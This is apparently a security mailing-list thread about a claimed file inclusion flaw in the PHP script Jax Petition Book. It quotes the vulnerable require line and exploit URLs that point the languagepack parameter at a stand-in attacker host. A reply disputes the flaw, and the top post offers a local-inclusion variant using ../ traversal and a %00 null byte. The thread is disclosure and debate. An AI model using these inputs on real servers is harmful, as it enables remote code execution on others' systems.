Actually, this can be pretty serious depending on server settings, but an improper example was given. Better one: jax_petitionbook.php?languagepack=../../some_other_allowed_file_uploads/ myfile.php.gif%00 Many servers will have magic quotes on to defeat the null byte, but by no means all. John bmatheny (at) mobocracy (dot) net [email concealed] wrote: >This is not a vulnerability. Since $languagepack is prefixed by "language/", >the PHP stream handler will simply try to open a local file. Also, you can >only modify $languagepack if register_globals is on, which, it rarely is >these days. > >Can we stop with the PHP 'vulnerabilities' that aren't? > >-Blake > >Whatchu talkin' 'bout, Willis? > > >>---------------------------------------------------------------------- -------------------------------------------- >> >>AYYILDIZ.ORG PreSents... >> >> >>*Script: Jax Petition Book >>*Download: jtr.de/scripting/php/guestbook/petitionbook%20v1.0.3.06.zip >> >>*Contact: ilker Kandemir <ilkerkandemir[at]mynet.com> >> >>---------------------------------------------------------------------- --------------------------------------------- >> >>*Code: >> >>require ( "language/" .$languagepack . ".inc.php" ); >> >>---------------------------------------------------------------------- --------------------------------------------- >> >>*Exploit: >> >>jax_petitionbook.php?languagepack=http://attacker.txt? >>smileys.php?languagepack=http://attacker.txt? >> >>---------------------------------------------------------------------- --------------------------------------------- >> >>Tnx:H0tturk,Dr.Max Virus,Asianeagle,PcDelisi,CodeR,Dum?nci >>Special Tnx: AYYILDIZ.ORG >> >> > > >